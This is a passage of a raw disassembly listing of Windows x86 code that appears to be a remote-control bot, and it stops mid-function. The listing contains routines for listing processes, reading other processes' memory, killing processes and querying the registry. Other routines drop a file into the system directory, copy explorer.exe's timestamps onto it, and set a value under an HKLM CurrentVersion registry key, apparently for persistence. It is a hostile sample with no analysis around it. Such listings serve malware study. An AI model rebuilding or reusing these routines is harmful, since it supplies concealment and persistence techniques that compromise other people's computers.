locret_40603F mov byte_41E29C, 1 locret_40603F: ; CODE XREF: sub_405FA3+23j ; sub_405FA3+78j ... leave retn sub_405FA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406041 proc near ; CODE XREF: cAddress:loc_40129Dp ; cAddress:004063A5p var_13C = dword ptr -13Ch var_138 = dword ptr -138h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_12B = byte ptr -12Bh var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 13Ch push esi push edi push offset dword_41E280 call sub_409C6C pop ecx movzx eax, byte_41E29C test eax, eax jnz short loc_406074 push offset dword_41E280 call sub_409C7A pop ecx xor eax, eax jmp loc_40636A ; --------------------------------------------------------------------------- loc_406074: ; CODE XREF: sub_406041+1Fj and [ebp+var_C], 0 and [ebp+var_4], 0 and [ebp+var_1C], 0 push [ebp+var_1C] call sub_416B46 ; malloc pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_406097 jmp loc_406368 ; --------------------------------------------------------------------------- loc_406097: ; CODE XREF: sub_406041+4Fj ; sub_406041:loc_4060E9j mov eax, [ebp+var_1C] add eax, 80h mov [ebp+var_1C], eax push [ebp+var_1C] push [ebp+var_14] call sub_416BF6 ; realloc pop ecx pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4060BD jmp loc_406366 ; --------------------------------------------------------------------------- loc_4060BD: ; CODE XREF: sub_406041+75j lea eax, [ebp+var_4] push eax push [ebp+var_1C] push [ebp+var_14] call dword_41E27C test eax, eax jnz short loc_4060DF push [ebp+var_14] call sub_416B4C ; free pop ecx jmp loc_406364 ; --------------------------------------------------------------------------- loc_4060DF: ; CODE XREF: sub_406041+8Ej mov eax, [ebp+var_4] cmp eax, [ebp+var_1C] jnb short loc_4060E9 jmp short loc_4060EB ; --------------------------------------------------------------------------- loc_4060E9: ; CODE XREF: sub_406041+A4j jmp short loc_406097 ; --------------------------------------------------------------------------- loc_4060EB: ; CODE XREF: sub_406041+A6j mov eax, [ebp+var_4] shr eax, 2 mov [ebp+var_8], eax mov eax, [ebp+var_8] imul eax, 114h add eax, 8 push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_40611E push [ebp+var_14] call sub_416B4C ; free pop ecx jmp loc_406362 ; --------------------------------------------------------------------------- loc_40611E: ; CODE XREF: sub_406041+CDj mov eax, [ebp+var_C] mov ecx, [ebp+var_8] mov [eax], ecx mov eax, [ebp+var_C] add eax, 8 mov ecx, [ebp+var_C] mov [ecx+4], eax and [ebp+var_10], 0 jmp short loc_40613F ; --------------------------------------------------------------------------- loc_406138: ; CODE XREF: sub_406041+156j mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_40613F: ; CODE XREF: sub_406041+F5j mov eax, [ebp+var_10] cmp eax, [ebp+var_8] jnb short loc_406199 push 114h push 0 mov eax, [ebp+var_C] push dword ptr [eax+4] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_10] mov esi, [ebp+var_14] mov edx, [esi+edx*4] mov [ecx+eax], edx push offset aSystem ; "system" mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_406138 ; --------------------------------------------------------------------------- loc_406199: ; CODE XREF: sub_406041+104j push [ebp+var_14] call sub_416B4C ; free pop ecx and [ebp+var_10], 0 jmp short loc_4061AF ; --------------------------------------------------------------------------- loc_4061A8: ; CODE XREF: sub_406041+1A8j ; sub_406041+1D8j ... mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_4061AF: ; CODE XREF: sub_406041+165j mov eax, [ebp+var_10] cmp eax, [ebp+var_8] jnb loc_406343 mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] push dword ptr [ecx+eax] push 0 push 410h call dword_417094 ; OpenProcess mov [ebp+var_130], eax cmp [ebp+var_130], 0 jnz short loc_4061EB jmp short loc_4061A8 ; --------------------------------------------------------------------------- loc_4061EB: ; CODE XREF: sub_406041+1A6j and [ebp+var_20], 0 and [ebp+var_28], 0 lea eax, [ebp+var_20] push eax push 4 lea eax, [ebp+var_28] push eax push [ebp+var_130] call dword_41E270 test eax, eax jnz short loc_40621B push [ebp+var_130] call dword_4170A4 ; CloseHandle jmp short loc_4061A8 ; --------------------------------------------------------------------------- loc_40621B: ; CODE XREF: sub_406041+1CAj push 0Ch lea eax, [ebp+var_13C] push eax push [ebp+var_28] push [ebp+var_130] call dword_41E278 mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_13C] mov [ecx+eax+4], edx mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_138] mov [ecx+eax+8], edx mov al, byte_41DE00 mov [ebp+var_12C], al push 40h pop ecx xor eax, eax lea edi, [ebp+var_12B] rep stosd stosw stosb push 104h lea eax, [ebp+var_12C] push eax push [ebp+var_13C] push [ebp+var_130] call dword_41E274 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz loc_406332 movsx eax, [ebp+var_12C] test eax, eax jz short loc_406332 push 104h lea eax, [ebp+var_12C] push eax mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax call sub_416B58 ; strncpy add esp, 0Ch lea eax, [ebp+var_12C] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_18], eax jmp short loc_4062F7 ; --------------------------------------------------------------------------- loc_4062F0: ; CODE XREF: sub_406041:loc_406330j mov eax, [ebp+var_18] dec eax mov [ebp+var_18], eax loc_4062F7: ; CODE XREF: sub_406041+2ADj cmp [ebp+var_18], 0 jz short loc_406332 cmp [ebp+var_18], 1 ja short loc_406305 jmp short loc_406332 ; --------------------------------------------------------------------------- loc_406305: ; CODE XREF: sub_406041+2C0j mov eax, [ebp+var_18] movsx eax, byte ptr [ebp+eax+var_130+3] cmp eax, 5Ch jnz short loc_406330 mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_18] mov [ecx+eax+110h], edx jmp short loc_406332 ; --------------------------------------------------------------------------- loc_406330: ; CODE XREF: sub_406041+2D2j jmp short loc_4062F0 ; --------------------------------------------------------------------------- loc_406332: ; CODE XREF: sub_406041+264j ; sub_406041+273j ... push [ebp+var_130] call dword_4170A4 ; CloseHandle jmp loc_4061A8 ; --------------------------------------------------------------------------- loc_406343: ; CODE XREF: sub_406041+174j push offset dword_41E280 call sub_409C7A pop ecx mov eax, [ebp+var_C] jmp short loc_40636A ; --------------------------------------------------------------------------- loc_406353: ; CODE XREF: sub_406041:loc_406362j ; sub_406041:loc_406364j ... push offset dword_41E280 call sub_409C7A pop ecx xor eax, eax jmp short loc_40636A ; --------------------------------------------------------------------------- loc_406362: ; CODE XREF: sub_406041+D8j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_406364: ; CODE XREF: sub_406041+99j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_406366: ; CODE XREF: sub_406041+77j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_406368: ; CODE XREF: sub_406041+51j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_40636A: ; CODE XREF: sub_406041+2Ej ; sub_406041+310j ... pop edi pop esi leave retn sub_406041 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40636E proc near ; CODE XREF: cAddress:00401716p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_416B4C ; free pop ecx pop ebp retn sub_40636E endp ; --------------------------------------------------------------------------- loc_40637C: ; DATA XREF: sub_4064BF+3Bo push ebp mov ebp, esp sub esp, 1B0h push 1A7h push dword ptr [ebp+8] lea eax, [ebp-1A8h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx call sub_406041 mov [ebp-1ACh], eax cmp dword ptr [ebp-1ACh], 0 jz loc_4064AD mov eax, [ebp-1ACh] push dword ptr [eax] mov eax, [ebp-1A8h] push dword ptr [eax] push offset dword_418B1C lea eax, [ebp-1A4h] push eax call sub_40D53F add esp, 10h and dword ptr [ebp-1B0h], 0 jmp short loc_4063F7 ; --------------------------------------------------------------------------- loc_4063EA: ; CODE XREF: cAddress:loc_40649Cj mov eax, [ebp-1B0h] inc eax mov [ebp-1B0h], eax loc_4063F7: ; CODE XREF: cAddress:004063E8j mov eax, [ebp-1ACh] mov ecx, [ebp-1B0h] cmp ecx, [eax] jge loc_4064A1 push 3E8h call dword_41709C ; Sleep mov eax, [ebp-1B0h] imul eax, 114h mov ecx, [ebp-1ACh] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax mov eax, [ebp-1B0h] imul eax, 114h mov ecx, [ebp-1ACh] mov ecx, [ecx+4] push dword ptr [ecx+eax+8] mov eax, [ebp-1B0h] imul eax, 114h mov ecx, [ebp-1ACh] mov ecx, [ecx+4] push dword ptr [ecx+eax+4] mov eax, [ebp-1B0h] imul eax, 114h mov ecx, [ebp-1ACh] mov ecx, [ecx+4] push dword ptr [ecx+eax] push offset dword_418B04 lea eax, [ebp-1A4h] push eax call sub_40D53F add esp, 18h mov eax, [ebp-1A8h] cmp dword ptr [eax+4], 0 jz short loc_40649C jmp short loc_4064A1 ; --------------------------------------------------------------------------- loc_40649C: ; CODE XREF: cAddress:00406498j jmp loc_4063EA ; --------------------------------------------------------------------------- loc_4064A1: ; CODE XREF: cAddress:00406405j ; cAddress:0040649Aj push dword ptr [ebp-1ACh] call sub_416B4C ; free pop ecx loc_4064AD: ; CODE XREF: cAddress:004063B7j push dword ptr [ebp-1A8h] call sub_409763 pop ecx xor eax, eax leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4064BF proc near ; CODE XREF: sub_40A9CF+3FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4064D9 jmp short locret_406507 ; --------------------------------------------------------------------------- loc_4064D9: ; CODE XREF: sub_4064BF+16j push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B52 ; memcpy add esp, 0Ch push offset aListProcesses ; "List processes" push 0 push [ebp+var_4] push offset loc_40637C call sub_4095A4 add esp, 10h locret_406507: ; CODE XREF: sub_4064BF+18j leave retn sub_4064BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406509 proc near ; CODE XREF: sub_40A9CF+9C9p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h cmp [ebp+arg_4], 0 jz short loc_40651B cmp [ebp+arg_C], 0 jnz short loc_406520 loc_40651B: ; CODE XREF: sub_406509+Aj jmp locret_406641 ; --------------------------------------------------------------------------- loc_406520: ; CODE XREF: sub_406509+10j push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax push [ebp+arg_8] call sub_40A8AD pop ecx mov [ebp+var_C], eax push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 180h jbe short loc_406554 mov [ebp+var_4], 180h loc_406554: ; CODE XREF: sub_406509+42j mov eax, [ebp+var_4] inc eax push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_1C], eax push [ebp+var_8] push 0 push 10h call dword_417094 ; OpenProcess mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_406586 push [ebp+var_1C] call sub_416B4C ; free pop ecx jmp locret_406641 ; --------------------------------------------------------------------------- loc_406586: ; CODE XREF: sub_406509+6Dj and [ebp+var_14], 0 lea eax, [ebp+var_14] push eax push [ebp+var_4] push [ebp+var_1C] push [ebp+var_C] push [ebp+var_18] call dword_417098 ; ReadProcessMemory mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz loc_40662F cmp [ebp+var_14], 0 jz short loc_40662F mov eax, [ebp+var_1C] add eax, [ebp+var_4] and byte ptr [eax], 0 and [ebp+var_20], 0 jmp short loc_4065C9 ; --------------------------------------------------------------------------- loc_4065C2: ; CODE XREF: sub_406509:loc_406620j mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_4065C9: ; CODE XREF: sub_406509+B7j mov eax, [ebp+var_20] cmp eax, [ebp+var_14] jnb short loc_406622 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 1Fh jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 16h jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 10h jg short loc_406620 loc_406617: ; CODE XREF: sub_406509+D4j ; sub_406509+E2j ... mov eax, [ebp+var_1C] add eax, [ebp+var_20] mov byte ptr [eax], 2Eh loc_406620: ; CODE XREF: sub_406509+10Cj jmp short loc_4065C2 ; --------------------------------------------------------------------------- loc_406622: ; CODE XREF: sub_406509+C6j push [ebp+var_1C] push [ebp+arg_0] call sub_40D53F pop ecx pop ecx loc_40662F: ; CODE XREF: sub_406509+9Ej ; sub_406509+A8j push [ebp+var_1C] call sub_416B4C ; free pop ecx push [ebp+var_18] call dword_4170A4 ; CloseHandle locret_406641: ; CODE XREF: sub_406509:loc_40651Bj ; sub_406509+78j leave retn sub_406509 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406643 proc near ; CODE XREF: sub_40A9CF+3D7p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jnz short loc_406650 jmp short locret_40668D ; --------------------------------------------------------------------------- loc_406650: ; CODE XREF: sub_406643+9j push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax call dword_4170E8 ; GetCurrentProcessId cmp [ebp+var_4], eax jnz short loc_406669 jmp short locret_40668D ; --------------------------------------------------------------------------- loc_406669: ; CODE XREF: sub_406643+22j push [ebp+var_4] push 0 push 1 call dword_417094 ; OpenProcess mov [ebp+var_8], eax push 0 push [ebp+var_8] call dword_4170A0 ; TerminateProcess push [ebp+var_8] call dword_4170A4 ; CloseHandle locret_40668D: ; CODE XREF: sub_406643+Bj ; sub_406643+24j leave retn sub_406643 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40668F proc near ; CODE XREF: cAddress:00403F3Cp ; sub_40A9CF+BDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_4066A0 ; --------------------------------------------------------------------------- loc_406699: ; CODE XREF: sub_40668F+2Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4066A0: ; CODE XREF: sub_40668F+8j cmp [ebp+var_4], 8 jge short loc_4066BB push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_406699 ; --------------------------------------------------------------------------- loc_4066BB: ; CODE XREF: sub_40668F+15j mov eax, [ebp+arg_0] and byte ptr [eax+8], 0 and [ebp+var_4], 0 jmp short loc_4066CF ; --------------------------------------------------------------------------- loc_4066C8: ; CODE XREF: sub_40668F+59j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4066CF: ; CODE XREF: sub_40668F+37j cmp [ebp+var_4], 6 jge short loc_4066EA push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_4066C8 ; --------------------------------------------------------------------------- loc_4066EA: ; CODE XREF: sub_40668F+44j mov eax, [ebp+arg_4] and byte ptr [eax+6], 0 and [ebp+var_4], 0 jmp short loc_4066FE ; --------------------------------------------------------------------------- loc_4066F7: ; CODE XREF: sub_40668F+88j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4066FE: ; CODE XREF: sub_40668F+66j cmp [ebp+var_4], 10h jge short loc_406719 push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_8] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_4066F7 ; --------------------------------------------------------------------------- loc_406719: ; CODE XREF: sub_40668F+73j mov eax, [ebp+arg_8] and byte ptr [eax+10h], 0 leave retn sub_40668F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406722 proc near ; CODE XREF: sub_40A9CF+F40p var_424 = byte ptr -424h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = byte ptr -20Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 424h cmp [ebp+arg_4], 0 jnz short loc_406736 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_406736: ; CODE XREF: sub_406722+Dj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+4] cmp eax, 5Ch jz short loc_406747 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_406747: ; CODE XREF: sub_406722+1Ej push 4 push offset aHkcr ; "HKCR" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_406769 mov [ebp+var_218], 80000000h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_406769: ; CODE XREF: sub_406722+39j push 4 push offset aHkcu ; "HKCU" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40678B mov [ebp+var_218], 80000001h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_40678B: ; CODE XREF: sub_406722+5Bj push 4 push offset aHklm ; "HKLM" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_4067AD mov [ebp+var_218], 80000002h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_4067AD: ; CODE XREF: sub_406722+7Dj push 4 push offset aHkus ; "HKUS" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_4067CF mov [ebp+var_218], 80000003h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_4067CF: ; CODE XREF: sub_406722+9Fj jmp locret_406A21 ; --------------------------------------------------------------------------- loc_4067D4: ; CODE XREF: sub_406722+45j ; sub_406722+67j ... mov eax, [ebp+arg_4] add eax, 5 mov [ebp+arg_4], eax push [ebp+arg_4] call sub_416B40 ; strlen pop ecx mov [ebp+var_210], eax jmp short loc_4067FB ; --------------------------------------------------------------------------- loc_4067EE: ; CODE XREF: sub_406722:loc_406858j mov eax, [ebp+var_210] dec eax mov [ebp+var_210], eax loc_4067FB: ; CODE XREF: sub_406722+CAj cmp [ebp+var_210], 0 jnz short loc_406809 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_406809: ; CODE XREF: sub_406722+E0j mov eax, [ebp+arg_4] add eax, [ebp+var_210] movsx eax, byte ptr [eax] cmp eax, 5Ch jnz short loc_406858 mov eax, [ebp+var_210] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+1] push eax call sub_416B40 ; strlen pop ecx cmp eax, 200h jb short loc_40683A jmp locret_406A21 ; --------------------------------------------------------------------------- loc_40683A: ; CODE XREF: sub_406722+111j mov eax, [ebp+var_210] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+1] push eax lea eax, [ebp+var_20C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40685A ; --------------------------------------------------------------------------- loc_406858: ; CODE XREF: sub_406722+F6j jmp short loc_4067EE ; --------------------------------------------------------------------------- loc_40685A: ; CODE XREF: sub_406722+134j cmp [ebp+var_210], 200h jb short loc_40686B jmp locret_406A21 ; --------------------------------------------------------------------------- loc_40686B: ; CODE XREF: sub_406722+142j push [ebp+var_210] push [ebp+arg_4] lea eax, [ebp+var_418] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_210] and [ebp+eax+var_418], 0 lea eax, [ebp+var_C] push eax push 1 push 0 lea eax, [ebp+var_418] push eax push [ebp+var_218] call dword_417008 ; RegOpenKeyExA test eax, eax jz short loc_4068B5 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_4068B5: ; CODE XREF: sub_406722+18Cj mov [ebp+var_8], 1000h push [ebp+var_8] call sub_416B46 ; malloc pop ecx mov [ebp+var_214], eax lea eax, [ebp+var_8] push eax push [ebp+var_214] lea eax, [ebp+var_4] push eax push 0 lea eax, [ebp+var_20C] push eax push [ebp+var_C] call dword_41700C ; RegQueryValueExA test eax, eax jnz loc_406A0C cmp [ebp+var_4], 1 jz short loc_4068FF cmp [ebp+var_4], 2 jnz short loc_406915 loc_4068FF: ; CODE XREF: sub_406722+1D5j push [ebp+var_214] push offset aS ; "%s" push [ebp+arg_0] call sub_40D53F add esp, 0Ch loc_406915: ; CODE XREF: sub_406722+1DBj cmp [ebp+var_4], 4 jnz short loc_406933 mov eax, [ebp+var_214] push dword ptr [eax] push offset a08x ; "%08X" push [ebp+arg_0] call sub_40D53F add esp, 0Ch loc_406933: ; CODE XREF: sub_406722+1F7j cmp [ebp+var_4], 3 jnz loc_406A0C push 180h call sub_416B46 ; malloc pop ecx mov [ebp+var_420], eax mov eax, [ebp+var_420] and byte ptr [eax], 0 and [ebp+var_41C], 0 jmp short loc_40696D ; --------------------------------------------------------------------------- loc_406960: ; CODE XREF: sub_406722+2C3j mov eax, [ebp+var_41C] inc eax mov [ebp+var_41C], eax loc_40696D: ; CODE XREF: sub_406722+23Cj mov eax, [ebp+var_41C] cmp eax, [ebp+var_8] jnb short loc_4069EA mov eax, [ebp+var_214] add eax, [ebp+var_41C] movzx eax, byte ptr [eax] push eax push offset a02x ; "%02X" lea eax, [ebp+var_424] push eax call sub_416B5E ; sprintf add esp, 0Ch push [ebp+var_420] call sub_416B40 ; strlen pop ecx add eax, 3 cmp eax, 180h jb short loc_4069D1 push [ebp+var_420] push offset aS ; "%s" push [ebp+arg_0] call sub_40D53F add esp, 0Ch mov eax, [ebp+var_420] and byte ptr [eax], 0 loc_4069D1: ; CODE XREF: sub_406722+28Ej lea eax, [ebp+var_424] push eax push [ebp+var_420] call sub_416B70 ; _mbscat pop ecx pop ecx jmp loc_406960 ; --------------------------------------------------------------------------- loc_4069EA: ; CODE XREF: sub_406722+254j push [ebp+var_420] push offset aS ; "%s" push [ebp+arg_0] call sub_40D53F add esp, 0Ch push [ebp+var_420] call sub_416B4C ; free pop ecx loc_406A0C: ; CODE XREF: sub_406722+1CBj ; sub_406722+215j push [ebp+var_214] call sub_416B4C ; free pop ecx push [ebp+var_C] call dword_417028 ; RegCloseKey locret_406A21: ; CODE XREF: sub_406722+Fj ; sub_406722+20j ... leave retn sub_406722 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A23 proc near ; CODE XREF: sub_40D043:loc_40D18Dp ; sub_40D871:loc_40DB71p var_20C = byte ptr -20Ch var_108 = dword ptr -108h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch push 104h lea eax, [ebp+var_20C] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset dword_41DC0C lea eax, [ebp+var_104] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_104] push eax call sub_4105FB pop ecx lea eax, [ebp+var_104] push eax lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_20C] push eax call dword_4170AC ; DeleteFileA push offset dword_4182AC lea eax, [ebp+var_20C] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_108], eax cmp [ebp+var_108], 0 jz short locret_406AE5 push [ebp+var_108] push 1 push 2 push offset dword_418DE0 call sub_416B7C ; fwrite add esp, 10h push [ebp+var_108] call sub_416B82 ; fclose pop ecx lea eax, [ebp+var_20C] push eax call sub_406B81 pop ecx locret_406AE5: ; CODE XREF: sub_406A23+90j leave retn sub_406A23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406AE7 proc near ; CODE XREF: sub_40D043+13Dp ; sub_40D871+2F3p var_20C = byte ptr -20Ch var_108 = dword ptr -108h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch push 104h lea eax, [ebp+var_20C] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset dword_41DC0C lea eax, [ebp+var_104] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_104] push eax call sub_4105FB pop ecx lea eax, [ebp+var_104] push eax lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset aRb ; "rb" lea eax, [ebp+var_20C] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_108], eax cmp [ebp+var_108], 0 jz short loc_406B7D push [ebp+var_108] call sub_416B82 ; fclose pop ecx push 1 pop eax jmp short locret_406B7F ; --------------------------------------------------------------------------- loc_406B7D: ; CODE XREF: sub_406AE7+83j xor eax, eax locret_406B7F: ; CODE XREF: sub_406AE7+94j leave retn sub_406AE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406B81 proc near ; CODE XREF: sub_406A23+BCp ; sub_406E8E+246p var_120 = dword ptr -120h var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 120h push 104h lea eax, [ebp+var_11C] push eax call dword_417040 ; GetWindowsDirectoryA push offset aExplorer_exe ; "\\explorer.exe" lea eax, [ebp+var_11C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push 0 push 80h push 3 push 0 push 1 push 80000000h lea eax, [ebp+var_11C] push eax call dword_417044 ; CreateFileA mov [ebp+var_120], eax cmp [ebp+var_120], 0FFFFFFFFh jz short locret_406C4F lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax push [ebp+var_120] call dword_417048 ; GetFileTime push [ebp+var_120] call dword_4170A4 ; CloseHandle push 0 push 80h push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call dword_417044 ; CreateFileA mov [ebp+var_120], eax cmp [ebp+var_120], 0FFFFFFFFh jz short locret_406C4F lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax push [ebp+var_120] call dword_41704C ; SetFileTime push [ebp+var_120] call dword_4170A4 ; CloseHandle locret_406C4F: ; CODE XREF: sub_406B81+5Aj ; sub_406B81+A8j leave retn sub_406B81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406C51 proc near ; CODE XREF: sub_406E8E+133p ; sub_406E8E+214p ... var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 108h push 0 lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call dword_417014 ; RegCreateKeyExA cmp [ebp+arg_0], 0 jz short loc_406CE1 push 104h lea eax, [ebp+var_108] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_108] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push [ebp+arg_8] lea eax, [ebp+var_108] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_108] push eax call dword_41703C ; lstrlen inc eax push eax lea eax, [ebp+var_108] push eax push 1 push 0 push [ebp+arg_4] push [ebp+var_4] call dword_417010 ; RegSetValueExA jmp short loc_406CED ; --------------------------------------------------------------------------- loc_406CE1: ; CODE XREF: sub_406C51+30j push [ebp+arg_4] push [ebp+var_4] call dword_417004 ; RegDeleteValueA loc_406CED: ; CODE XREF: sub_406C51+8Ej push [ebp+var_4] call dword_417028 ; RegCloseKey leave retn sub_406C51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406CF8 proc near ; CODE XREF: sub_406D47+2Bp ; sub_406E8E+253p ... var_C = dword ptr -0Ch var_8 = 